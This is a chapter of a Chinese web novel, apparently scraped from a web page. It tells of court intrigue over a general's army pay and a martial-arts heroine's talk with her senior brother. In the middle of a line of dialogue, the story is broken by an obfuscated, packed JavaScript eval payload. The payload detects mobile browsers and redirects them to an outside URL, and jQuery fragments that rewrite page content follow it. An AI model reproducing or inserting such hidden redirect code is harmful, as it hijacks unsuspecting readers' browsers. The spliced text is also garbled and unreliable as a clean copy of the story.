45. 雅贪
作品:《无忧传》 朝廷之中,再机密的事情也总是会被传开的。
而李贺朝大人、薛将军涉及之事也正被越来越多的人知道。
只是皇帝从未提及的暧昧态度就更令朝臣们纷纷忖度了。
到底是为三皇子留着体面,打算轻轻带过?
还是正在暗中筹集更多的证据,打算攒在一起对手握重兵的薛将军好生清算呢?
纵是什么资历身后的老臣,还是什么深得圣心的近臣对此也都是拿不准主意。
毕竟太子的人选就在二皇子、三皇子二人之一,若是皇帝属意于三皇子,只暗中处理,放过此事倒也情理之中。
反之,薛将军掌兵已久,有功无过,加之德妃娘娘向来不得宠,对于皇帝来说抓住这个机会对其好生清算亦是正常不过。
非要选一种的话,或许后者可能性更大些。
毕竟,有什么是在皇权之上的东西呢?
自古以来,官员之间的贪污形式绝不限于一种。
最常见的自然是逢年过节时候,以礼品礼金的形式行贿。
也有把行赃一事掩于生意往来之下的,借分利分股为名行贿的。
其中也颇为常见的一种贿赂方式便是是雅贪,即不直接赠与银票财物,而是赠送名贵特产、字画古玩等。
虽说古玩字画等亦可价值连城,但毕竟还有几分可辩解为“琴书诗画,达士以之养性灵,而庸夫徒赏其迹像”的风雅之意。
故而审理贪污之事,并不看其表,而要看本质。
只说谁花了钱,所花钱数是否合理,而钱最终又留在或是用到了何处三点,便可判断出到底一事是否与贪污有关。
要说李贺朝乃是大夏朝有名的才子,诗文被全国的学子传颂,又尤擅工笔字画,从他年轻时候便是一墨难求,一字千金。
若不是他志不在入仕,只怕早成了掌权大官的其中一员。
文人清雅,当然不会常常靠售卖文墨为生,可就是李贺朝先生偶偶流出的几幅作品也就收益极丰了。
可约莫从几年起,李贺朝李先生便时常流出文墨来。
至于其收益嘛,竟是给了掌兵的好友薛将军充了军饷。
起初此内情不被众人所知,但时间久了到底会流出点风声来。众人得知李先生文墨之金竟是入了薛将军手,莫管最终是给将士们用了,总归买了李先生文墨到底是卖了薛将军一份面子的。
故而李先生之文墨虽流传出更多,却绝不受“物以稀为贵”的限制,反而价值愈加高起来。
愈价高愈抢手,愈抢手愈价高。
熟知李先生为人的都知道那清高之人绝不会令己之作品充当了别人行贿的媒介,可清高之人到底还失于清高,他竟未发觉自己文墨价愈高并非对自己的认可,而是想讨一份薛将军的好。
而薛将军,约莫认识到了这一点,但是只当做不知就是了。
实在令人唏嘘生叹。
这些银钱只怕挥霍了还好些,偏偏放在军队之中才是最惹人非议的。
军饷军饷,乃是朝廷给士兵的薪俸和给养。
如何能由一位将军来出?
再进一步说,这些军队到底是为朝廷做事还是为了这薛将军做事呢?
几千年来,任哪个朝代发生这样的事都不可能不被皇帝心中生出嫌隙。
而薛将军又是何其胆大,才敢做出这样的事?
“殿下,德妃娘娘您入宫。”
沈珩知道母妃再叫自己必然要提到为自己择婚之事,只略显烦躁地对阿石摆了摆手。
“沈晟那边怎么样了?”
“二皇子还没传来消息。”
沈珩面无表情,他想自己大概明白沈晟的意思了。
皇家兄弟无亲情,更不要说自己和沈晟又不是一个娘胎里出来的。
很多年前,他就知道沈晟对自己而言不过是一个对手而已。
可真当对方坦明了立场,这又是另一回事了。
也罢,沈珩讽刺地笑了笑,未到尘埃落定之时,又何必自己先吓自己?
皇帝未找自己谈起此事其实是好的,如果真坦言试探自己的态度,自己反而会更难办些。
这件事情他若意在宽松处理,就会失了皇帝的信任。
反之,若是叫舅舅被夺了兵权,那么母家的势力就会没了,无疑于断臂。
这如何能叫他自己选的出来?
还好,他也不是全无对策。
夜里,秋烟再出现在房门之前。
她身穿素衣,请为沈珩弹曲。
沈珩允了,却未吩咐她进内间。
秋烟便就在外弹下一曲。
人对于美好的追求和向往是与生俱来的,便是侍从们不懂琴术,也都被秋烟之琴音而倾倒了。
一曲过后,沈珩虽未出言称赞,也并未见秋烟。
秋烟对此当然是有些失望的,但到底还是乐大于悲,毕竟自己和对方是更加亲近一些的了。
先要让沈珩记住自己,足够了。
再是偶尔能想到自己,一步一步,她会离自己想要的越来越近。
姜无忧刚练过剑,就听到熟悉的声音响起。
她惊喜地转头,“二师兄,你来了?”
“听小意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750058|185610||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说,你受了伤,怎么还在练剑?”
姜无忧把剑放下,露出个笑来,“小意这个大嘴巴,可是又在师兄面前危言耸听了不是。”
“伤在哪里了?”
姜无忧原地转了两个圈,又指指自己的上臂,“师兄若是再晚来几天,伤口都该全好了。”
姜礼眉眼温和,道:“这是怪师兄来的晚了。”
姜无忧忙道:“才不是,是想跟师兄说这些伤一点都不严重,你看这才几日就已经快好了。”
“所谓好汉难敌四手,纵然无忧功夫卓越,面对众人围你一个也要小心再小心,不可马虎。还有,近来都不要出门了。”
“我就知道师兄要这样说的,不过公主这两日已经离开了大夏,再不会起是非了。”
姜礼对于姜无忧在武林大会上赢过了鸿靖公主一事也有印象,“好个心肠歹毒的公主。”
看见几位师兄里最温文尔雅的姜礼这幅恨恨模样,着实难得,姜无忧笑道:“我又让师兄担心了,不过这不是好好的吗?”
姜礼的确看出姜无忧身上之伤是无碍,却还是拧紧了眉头问道:“你可知,支持你这两年学武的公子是谁?”
“师兄,你知道了?”
姜礼一怔,原来姜无忧也是知道那人的身份的。
也是,已经两年过去,她怎会不知?
可姜无忧虽生来无拘、率性而为,但做事还是极有分寸的,怎么会和皇家子扯上关系?
以她的背景、功夫,只有被利用的份儿。生出与那人共度一生的年头来,只怕是祸不是福。
难道无忧对那人情根深种昏了头?
“师兄当真比我厉害,这些日子就已得知了。我还是前些日子才知道的,他……他不会害我的。”
姜礼轻叹一声。
姜无忧不愿在此事上继续说下去,“师兄,休假几日?可要师妹同你在京城之中好好转转?”
“不必,你且先将伤养好吧。”
“都说了已经好了。”
“无忧,无论如何,师兄就在京城之中,你随时都可以找师兄。如有危险的事,如有想不明白的事,师兄总会帮上忙的。”
“知道的,从小无忧创了祸不都是先找师兄吗?”
“是啊”,姜礼轻声说道。
他目光中微滞,过往几年前的场景在脑中浮现,甚至还仿若昨天。
“师兄这些日子可遇到了喜欢的姑娘?大师兄如今可是跟嫂子甜蜜得很呢,你该抓些紧才是。”
姜礼无奈地摇摇头,“什么时候还用无忧来操心我了?放心吧,师兄总会遇到的。”

